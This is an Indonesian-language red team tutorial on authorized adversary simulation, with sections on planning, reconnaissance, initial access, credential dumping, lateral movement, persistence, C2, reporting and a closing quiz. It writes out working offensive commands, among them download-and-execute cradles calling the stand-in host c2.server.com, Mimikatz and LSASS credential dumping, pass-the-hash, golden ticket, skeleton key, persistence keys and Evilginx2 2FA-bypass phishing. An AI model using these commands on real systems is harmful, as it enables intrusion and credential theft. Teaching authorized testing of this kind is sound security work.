Cybersecurity

Red Team Operations: Planning, Execution & Reporting

Tutorial komprehensif tentang operasi Red Team β€” dari perencanaan engagement, teknik adversary simulation, MITRE ATT&CK mapping, tooling, hingga reporting profesional

1. Pengenalan Red Team Operations

Red Team adalah kelompok keamanan yang mensimulasikan serangan cyber secara realistis untuk menguji pertahanan (Blue Team) organisasi. Berbeda dengan penetration testing tradisional yang biasanya terfokus pada menemukan kerentanan teknis, Red Team Operations meniru Tactics, Techniques, and Procedures (TTP) dari ancaman nyata (adversary) untuk mengukur kemampuan deteksi dan respons organisasi secara keseluruhan.

Red Team vs Penetration Testing

Aspek Penetration Testing Red Team Operations
TujuanTemukan sebanyak mungkin kerentananCapai objective spesifik (flag) tanpa terdeteksi
ScopeBiasanya terbatas pada target teknis tertentuSeluruh organisasi: fisik, sosial, teknis
Durasi1-4 minggu4-12 minggu atau lebih
PendekatanAutomated + manual testingAdversary simulation dengan TTP realistis
DetectionTidak terlalu menghindari deteksiMenghindari deteksi semaksimal mungkin
ReportingDaftar vuln + rekomendasiNarrative report, attack story, gaps analysis
Tim1-3 tester3-8+ operator dengan role berbeda
⚠️ Peringatan Hukum

Red Team Operations HARUS dilakukan dengan izin tertulis (Rules of Engagement) dari pemilik sistem. Operasi tanpa izin adalah kejahatan siber yang melanggar UU ITE di Indonesia dan dapat dipidanakan.

Diagram: Red Team Attack Lifecycle (MITRE ATT&CK)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              RED TEAM ATTACK LIFECYCLE                          β”‚
β”‚                                                                β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚ 1. RECON │──▢│2. WEAPON-│──▢│ 3. DELIVERY│──▢│ 4. EXPLOITβ”‚ β”‚
β”‚  β”‚          β”‚   β”‚ IZATION  β”‚   β”‚           β”‚   β”‚           β”‚ β”‚
β”‚  β”‚ β€’ OSINT  β”‚   β”‚ β€’ C2     β”‚   β”‚ β€’ Phishingβ”‚   β”‚ β€’ Execute β”‚ β”‚
β”‚  β”‚ β€’ Scan   β”‚   β”‚ β€’ Payloadβ”‚   β”‚ β€’ Physicalβ”‚   β”‚ β€’ Install β”‚ β”‚
β”‚  β”‚ β€’ Enum   β”‚   β”‚ β€’ Implantβ”‚   β”‚ β€’ Supply  β”‚   β”‚ β€’ Persist β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚       β”‚                                            β”‚          β”‚
β”‚       β–Ό                                            β–Ό          β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚ 8. CLEAN │◀──│7. EXFIL  │◀──│ 6. OBJECT│◀──│ 5. LATER-β”‚ β”‚
β”‚  β”‚   UP     β”‚   β”‚          β”‚   β”‚   -IVES  β”‚   β”‚  AL MOVE β”‚ β”‚
β”‚  β”‚          β”‚   β”‚ β€’ Data   β”‚   β”‚           β”‚   β”‚           β”‚ β”‚
β”‚  β”‚ β€’ Remove β”‚   β”‚   exfil  β”‚   β”‚ β€’ Flag    β”‚   β”‚ β€’ Pivot   β”‚ β”‚
β”‚  β”‚ β€’ Clean  β”‚   β”‚ β€’ C2     β”‚   β”‚ β€’ Achievedβ”‚   β”‚ β€’ Creds   β”‚ β”‚
β”‚  β”‚   logs   β”‚   β”‚   comm   β”‚   β”‚           β”‚   β”‚ β€’ Access  β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚                                                                β”‚
β”‚  Blue Team Detection Points:                                   β”‚
β”‚  [SIEM] [EDR] [NDR] [WAF] [DLP] [SOC] [Honeypots]           β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

2. Planning & Scoping

Planning adalah tahap paling kritis dalam Red Team engagement. Perencanaan yang buruk dapat mengakibatkan scope creep, masalah hukum, atau bahkan kerusakan sistem produksi.

2.1 Rules of Engagement (RoE)

Template β€” Rules of Engagement
# ===== RULES OF ENGAGEMENT (RoE) TEMPLATE =====

# 1. AUTHORIZATION
#    - Surat izin tertulis dari C-level management
#    - Scope dan target yang disetujui
#    - Durasi engagement
#    - Emergency contact dan escalation path

# 2. SCOPE
#    In-Scope:
#    - *.target.com (semua subdomain)
#    - 10.0.0.0/8 (network internal)
#    - Physical: Gedung A dan B, Jakarta
#    - Social engineering: Email phishing ke departemen tertentu
#
#    Out-of-Scope:
#    - Production database (hanya read-only)
#    - Critical infrastructure (SCADA/ICS)
#    - Third-party systems
#    - Denial of Service (DoS) attacks

# 3. CONSTRAINTS
#    - Jangan mengganggu operasi bisnis
#    - Jangan merusak atau menghapus data
#    - Jangan mengenkripsi data (ransomware simulation)
#    - Target window: jam kerja saja atau 24/7?
#    - Data handling: semua data sensitif di-encrypt

# 4. COMMUNICATION
#    - Primary: Encrypted channel (Signal/Keybase)
#    - Emergency: Phone call ke POC
#    - Status update: Setiap 48 jam
#    - Kill switch: Kata kunci untuk menghentikan operasi

# 5. OBJECTIVES (FLAGS)
#    - Flag 1: Akses ke sistem internal
#    - Flag 2: Akses ke database sensitif
#    - Flag 3: Domain admin access
#    - Flag 4: Exfiltrasi data sensitif (simulasi)
#    - Flag 5: Akses ke sistem keuangan

# 6. LEGAL
#    - NDA (Non-Disclosure Agreement)
#    - Liability waiver
#    - Data destruction confirmation
#    - Insurance requirements

2.2 MITRE ATT&CK Planning

Framework β€” MITRE ATT&CK Mapping
# ===== MITRE ATT&CK PLANNING =====

# MITRE ATT&CK adalah framework yang mendokumentasikan
# TTP (Tactics, Techniques, and Procedures) adversary

# TACTICS (Tujuan):
# TA0043 - Reconnaissance
# TA0042 - Resource Development
# TA0001 - Initial Access
# TA0002 - Execution
# TA0003 - Persistence
# TA0004 - Privilege Escalation
# TA0005 - Defense Evasion
# TA0006 - Credential Access
# TA0007 - Discovery
# TA0008 - Lateral Movement
# TA0009 - Collection
# TA0011 - Command and Control
# TA0010 - Exfiltration
# TA0040 - Impact

# ===== CONTOH ATTACK PLAN =====

# Phase 1: Reconnaissance (Minggu 1)
# ──────────────────────────────────
# T1595.002 - Active Scanning: Vulnerability Scanning
# T1592.002 - Gather Victim Host Information: Software
# T1589.002 - Gather Victim Identity Information: Email
# Tools: Nmap, Shodan, theHarvester, Recon-ng

# Phase 2: Initial Access (Minggu 2)
# ──────────────────────────────────
# T1566.001 - Phishing: Spearphishing Attachment
# T1566.002 - Phishing: Spearphishing Link
# T1190    - Exploit Public-Facing Application
# Tools: GoPhish, SET, Cobalt Strike, Evilginx2

# Phase 3: Execution & Persistence (Minggu 3)
# ─────────────────────────────────────────────
# T1059.001 - Command and Scripting Interpreter: PowerShell
# T1053.005 - Scheduled Task/Job: Scheduled Task
# T1547.001 - Boot or Logon Autostart: Registry Run Keys
# Tools: Cobalt Strike, Covenant, Sliver

# Phase 4: Privilege Escalation (Minggu 4)
# ─────────────────────────────────────────
# T1068    - Exploitation for Privilege Escalation
# T1055.001 - Process Injection: DLL Injection
# T1134    - Access Token Manipulation
# Tools: Mimikatz, Rubeus, PrintSpoofer

# Phase 5: Lateral Movement (Minggu 5)
# ──────────────────────────────────────
# T1021.002 - Remote Services: SMB/Windows Admin Shares
# T1021.001 - Remote Services: RDP
# T1550.002 - Use Alternate Auth: Pass the Hash
# Tools: CrackMapExec, Impacket, Evil-WinRM

# Phase 6: Objective & Exfiltration (Minggu 6)
# ──────────────────────────────────────────────
# T1005    - Data from Local System
# T1041    - Exfiltration Over C2 Channel
# T1567    - Exfiltration Over Web Service
# Tools: Custom exfil scripts, C2 channels

3. Reconnaissance

Bash β€” Red Team Reconnaissance
# ===== PASSIVE RECONNAISSANCE =====

# 1. OSINT Framework
# Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_results.txt
assetfinder --subs-only target.com | tee assetfinder.txt

# 2. Email harvesting
theHarvester -d target.com -b google,linkedin,github -l 500

# 3. Technology fingerprinting
whatweb https://target.com
wappalyzer target.com

# 4. Shodan / Censys
# Cari exposed services
# shodan search "org:Target ssl.cert.subject.CN:target.com"
# censys search "services.tls.certificates.leaf.names: target.com"

# 5. GitHub/GitLab secrets
trufflehog git https://github.com/target-org --regex
git-secrets --scan

# 6. DNS enumeration
dnsrecon -d target.com -t std
dnsenum target.com

# 7. Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq '.[].name_value' | sort -u

# ===== ACTIVE RECONNAISSANCE =====

# 1. Port Scanning (lebih stealth)
# TCP SYN scan (stealthier)
nmap -sS -T2 -Pn --top-ports 1000 target.com

# Service version detection
nmap -sV -sC -T3 -p- target.com -oA full_scan

# 2. Web Application Scanning
# Directory enumeration
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Parameter discovery
arjun -u https://target.com/api/endpoint

# 3. Network Mapping
# SNMP enumeration
onesixtyone -c community_strings.txt target_range
snmpwalk -v2c -c public target_ip

# SMB enumeration
enum4linux -a target_ip
smbclient -L //target_ip -N

# 4. Cloud Reconnaissance
# AWS S3 bucket enumeration
# cloud_enum -k target-name
# S3Scanner scan --bucket-file buckets.txt

4. Initial Access

Techniques β€” Initial Access Methods
# ===== INITIAL ACCESS TECHNIQUES =====

# 1. SPEAR PHISHING
# Targeted phishing dengan payload yang disesuaikan

# GoPhish setup:
# - Buat campaign dengan email template realistis
# - Landing page mirip target (credential harvesting)
# - Attachment: macro-enabled documents, LNK files, ISO

# Phishing email yang efektif:
# - Pretext yang relevan (HR, IT support, vendor)
# - Personalisasi (nama korban, departemen)
# - Urgency (deadline, security alert)
# - Sender spoofing (DMARC bypass)

# 2. EVILGINX2 β€” Advanced Phishing
# Reverse proxy phishing untuk bypass 2FA
# ./evilginx2
# > config domain phish.com
# > phishlets hostname office365 login.target.com
# > phishlets enable office365
# > lures create office365
# > lures get-url 1

# 3. WATERING HOLE
# Compromise website yang sering dikunjungi target
# Inject malicious JavaScript untuk browser exploitation

# 4. CREDENTIAL STUFFING
# Menggunakan breach data untuk akses VPN/portal
# Cek https://haveibeenpwned.com untuk breach data

# 5. PHYSICAL ACCESS
# USB drop attack (Hak5 USB Rubber Ducky)
# Tailgating ke area terlarang
# RFID cloning untuk akses gedung

# ===== POST INITIAL ACCESS =====

# Setelah mendapatkan akses awal:
# 1. Stabilkan akses (C2 beacon)
# 2. Enumerate sistem lokal
# 3. Cari credential dan informasi sensitif
# 4. Tentukan langkah selanjutnya (pivot, escalate)

5. Execution & Post-Exploitation

Techniques β€” Execution & Post-Exploitation
# ===== EXECUTION TECHNIQUES =====

# 1. LIVING OFF THE LAND (LOLBINS)
# Menggunakan tools bawaan OS untuk menghindari AV/EDR

# PowerShell Empire / Covenant
# Gunakan PowerShell untuk execution tanpa file di disk
powershell -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://c2.server.com/agent.ps1')"

# MSBuild execution (bypass AppLocker)
# Simpan payload sebagai XML dan jalankan dengan MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

# InstallUtil execution
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

# Regsvr32 (SCT payload)
regsvr32 /s /n /u /i:https://c2.server.com/payload.sct scrobj.dll

# 2. DLL HIJACKING
# Cari DLL yang dimuat dari path yang bisa ditulis
# Tools: Process Monitor, SharpDLLProxy
# Replace atau plant malicious DLL

# 3. PROCESS INJECTION
# Inject kode ke process yang sudah berjalan
# Process Hollowing, APC Injection, Thread Hijacking

# ===== CREDENTIAL ACCESS =====

# 1. Mimikatz β€” Credential Dumping
# Sekarang: gunakan versi yang sudah di-compile sendiri
# atau gunakan Invoke-Mimikatz (PowerShell)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 2. SAM Database Dump
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
# Offline cracking dengan impacket:
secretsdump -sam sam -system system LOCAL

# 3. LSASS Memory Dump
# Procdump (signed Microsoft tool!)
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
# Mimikatz offline:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

# 4. Kerberoasting
# Request TGS tickets untuk service accounts
# dan crack offline
impacket-GetUserSPNs target.com/user:password -request -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt

# 5. AS-REP Roasting
# Request AS-REP untuk accounts tanpa preauth
impacket-GetNPUsers target.com/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

6. Lateral Movement

Techniques β€” Lateral Movement
# ===== LATERAL MOVEMENT TECHNIQUES =====

# 1. PASS THE HASH (PtH)
# Gunakan NTLM hash langsung tanpa perlu password
crackmapexec smb 10.10.10.0/24 -u admin -H 'aad3b435b51404eeaad3b435b51404ee:hash_here'
evil-winrm -i 10.10.10.100 -u admin -H 'hash_here'

# 2. PASS THE TICKET (PtT)
# Gunakan Kerberos ticket (TGT/TGS)
# Export ticket dari Mimikatz:
mimikatz.exe "kerberos::ptt ticket.kirbi"
# Atau dengan Rubeus:
Rubeus.exe ptt /ticket:base64_ticket

# 3. OVERPASS THE HASH β†’ PASS THE KEY
# Dari NTLM hash, dapatkan Kerberos TGT
mimikatz.exe "sekurlsa::pth /user:admin /domain:target.com /ntlm:hash /run:cmd.exe"

# 4. PSExec / WMIExec / SMBExec
# Remote execution ke sistem lain
impacket-psexec target.com/admin:password@10.10.10.100
impacket-wmiexec target.com/admin:password@10.10.10.100
impacket-smbexec target.com/admin:password@10.10.10.100

# 5. RDP
# Remote desktop ke sistem lain
xfreerdp /u:admin /p:password /v:10.10.10.100 /dynamic-resolution

# 6. SSH TUNNELING
# Buat tunnel untuk mengakses jaringan internal
ssh -D 1080 user@pivot_host
# Atau remote port forwarding:
ssh -R 8080:internal_host:80 user@external_server

# 7. BLOODHOUND β€” AD Attack Path Mapping
# Collect data
SharpHound.exe -c All --zipfilename data.zip
# Atau dari Linux:
bloodhound-python -u user -p password -d target.com -c All

# Analyze dengan BloodHound GUI
# Cari shortest path ke Domain Admin
# Common attack paths:
# - Kerberoastable accounts with path to DA
# - Unconstrained delegation
# - DCSync rights
# - Admin access to computers

7. Persistence & C2

Techniques β€” Persistence & Command and Control
# ===== PERSISTENCE TECHNIQUES =====

# 1. REGISTRY RUN KEYS
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Users\Public\agent.exe" /f

# 2. SCHEDULED TASKS
schtasks /create /tn "SystemUpdate" /tr "C:\Users\Public\agent.exe" /sc onlogon /ru SYSTEM

# 3. WMI EVENT SUBSCRIPTION
# Persistent WMI event yang menjalankan payload
# pada kondisi tertentu (timer, logon, dll)

# 4. STARTUP FOLDER
copy agent.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

# 5. DLL SIDE-LOADING
# Plant DLL di direktori yang di-load oleh legitimate app

# 6. GOLDEN TICKET (Kerberos)
# Forge TGT dengan KRBTGT hash β†’ akses permanent
mimikatz.exe "kerberos::golden /user:admin /domain:target.com /sid:S-1-5-21-xxx /krbtgt:hash /id:500 /ptt"

# 7. SKELETON KEY
# Patch LSASS untuk menerima password universal
mimikatz.exe "misc::skeleton"

# ===== COMMAND AND CONTROL (C2) =====

# C2 Frameworks:
# 1. Cobalt Strike (komersial, $3,500+/year)
#    - Industry standard untuk Red Team
#    - Malleable C2 profiles
#    - Beacon-based
#    - SOCKS proxy, lateral movement tools

# 2. Sliver (open source)
#    - Go-based C2 framework
#    - Multiplayer (team collaboration)
#    - HTTP, DNS, WireGuard C2 channels
#    - Armory (plugin marketplace)
sliver-server
> generate --mtls 10.10.10.1 --os windows --arch amd64 --save agent.exe
> mtls
> sessions

# 3. Covenant (.NET C2)
#    - ASP.NET Core based
#    - Web UI
#    - Grunt (implant) management

# 4. Mythic (open source)
#    - Modern C2 framework
#    - Multiple agent types
#    - GraphQL API

# ===== C2 EVASION =====
# 1. Domain Fronting β€” Gunakan CDN untuk menyembunyikan C2
# 2. Malleable C2 β€” Customize traffic agar mirip aplikasi asli
# 3. Encrypted Channels β€” HTTPS, DNS-over-HTTPS
# 4. Redirectors β€” Cloudflare Workers, AWS Lambda
# 5. Sleep Timers β€” Reduce beacon frequency
# 6. Jitter β€” Randomize beacon intervals

8. Red Team Tools & Framework

Kategori Tools Keterangan
C2 FrameworkCobalt Strike, Sliver, Mythic, CovenantCommand & Control
ReconnaissanceAmass, subfinder, Recon-ng, SpiderFootOSINT & enumeration
PhishingGoPhish, Evilginx2, SETSocial engineering
ExploitationMetasploit, CrackMapExec, ImpacketExploit & lateral movement
CredentialMimikatz, Rubeus, LaZagneCredential harvesting
EvasionScareCrow, NimCrypt, FreezeAV/EDR bypass
AD AttackBloodHound, ADRecon, PingCastleActive Directory analysis
ReportingCherry Tree, Dradis, PlexTracDocumentation & reporting

9. Reporting & Debrief

Template β€” Red Team Report Structure
# ===== RED TEAM REPORT STRUCTURE =====

# 1. EXECUTIVE SUMMARY (1-2 halaman)
#    - Ringkasan untuk C-level management
#    - Apa yang dilakukan, apa yang ditemukan
#    - Risk rating keseluruhan
#    - Key findings dan rekomendasi

# 2. ENGAGEMENT OVERVIEW
#    - Scope dan objectives
#    - Timeline operasi
#    - Tim yang terlibat
#    - Rules of engagement

# 3. ATTACK NARRATIVE (bagian terpenting!)
#    Ceritakan alur serangan dari awal hingga akhir:
#
#    "Pada hari ke-3, tim berhasil mendapatkan
#    credential karyawan melalui phishing email
#    yang menyamar sebagai notifikasi IT support.
#    Credential ini memberikan akses ke VPN
#    dan selanjutnya ke jaringan internal..."
#
#    Setiap tahap dijelaskan dengan:
#    - Apa yang dilakukan
#    - Mengapa berhasil
#    - Screenshot/evidence
#    - MITRE ATT&CK technique ID

# 4. TECHNICAL FINDINGS
#    Finding 1: [Judul]
#    β”œβ”€β”€ Severity: Critical/High/Medium/Low
#    β”œβ”€β”€ MITRE ATT&CK: T1566.001
#    β”œβ”€β”€ Description: Detail teknis
#    β”œβ”€β”€ Evidence: Screenshot, logs
#    β”œβ”€β”€ Impact: Dampak bisnis
#    └── Recommendation: Cara memperbaiki

# 5. DETECTION GAP ANALYSIS
#    - Tahap mana yang terdeteksi Blue Team?
#    - Tahap mana yang TIDAK terdeteksi?
#    - Berapa lama waktu deteksi rata-rata?
#    - Apakah SOC melakukan response yang tepat?

# 6. MITIGATION RECOMMENDATIONS
#    Prioritized berdasarkan risk:
#    1. [CRITICAL] Implementasi MFA di semua sistem
#    2. [HIGH] Network segmentation
#    3. [HIGH] EDR deployment
#    4. [MEDIUM] Security awareness training
#    5. [MEDIUM] Log monitoring improvement

# 7. APPENDICES
#    - Full tool logs
#    - Evidence screenshots
#    - MITRE ATT&CK heat map
#    - Raw data exports

10. Quiz Pemahaman

Uji pemahaman Anda tentang Red Team Operations:

Pertanyaan 1: Apa perbedaan utama antara Red Team dan Penetration Testing?

a) Red Team lebih murah
b) Red Team mensimulasikan ancaman nyata dengan objective spesifik; Pentest mencari vuln teknis
c) Red Team hanya untuk pemerintah
d) Tidak ada perbedaan

Pertanyaan 2: Apa fungsi MITRE ATT&CK dalam Red Team Operations?

a) Sebagai exploit database
b) Framework untuk memetakan dan mendokumentasikan TTP adversary
c) Tools untuk scanning
d) Antivirus engine

Pertanyaan 3: Apa yang dimaksud dengan "Living off the Land" (LOLBins)?

a) Menggunakan tools dari dark web
b) Menggunakan tools bawaan OS untuk menghindari deteksi AV/EDR
c) Menyerang sistem dari jaringan lokal
d) Menggunakan hardware khusus

Pertanyaan 4: Mengapa Rules of Engagement (RoE) sangat penting?

a) Agar serangan lebih efektif
b) Melindungi secara hukum, mendefinisikan batasan, dan mencegah kerusakan
c) Hanya formalitas, tidak penting
d) Untuk menghambat tim Red Team

Pertanyaan 5: Apa tujuan utama Detection Gap Analysis dalam Red Team report?

a) Mengevaluasi kemampuan deteksi dan respons Blue Team
b) Menghitung jumlah vulnerability
c) Mengukur kecepatan internet
d) Menguji performa server
πŸ” Zoom
100%
🎨 Tema